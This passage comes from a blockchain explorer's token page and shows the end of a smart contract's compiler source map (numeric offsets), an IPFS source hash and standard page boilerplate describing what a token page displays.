2;10230:3;10219:9;10215:19;10208:26;;10269:2;10261:6;10257:15;10243:29;;10290:1;10300:195;10314:6;10311:1;10308:13;10300:195;;;10379:13;;-1:-1:-1;;;;;10375:39:1;10363:52;;10470:15;;;;10435:12;;;;10411:1;10329:9;10300:195;;;-1:-1:-1;;;;;;;10551:32:1;;;;10546:2;10531:18;;10524:60;-1:-1:-1;;;10615:3:1;10600:19;10593:35;10512:3;9654:980;-1:-1:-1;;;9654:980:1:o;10639:217::-;10679:1;10705;10695:132;;10749:10;10744:3;10740:20;10737:1;10730:31;10784:4;10781:1;10774:15;10812:4;10809:1;10802:15;10695:132;-1:-1:-1;10841:9:1;;10639:217::o;11217:168::-;11290:9;;;11321;;11338:15;;;11332:22;;11318:37;11308:71;;11359:18;;:::i

Swarm Source

ipfs://13c4f89140877d6bbaa1af6860856df5da8a232603bccb47b11339447a3371f3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.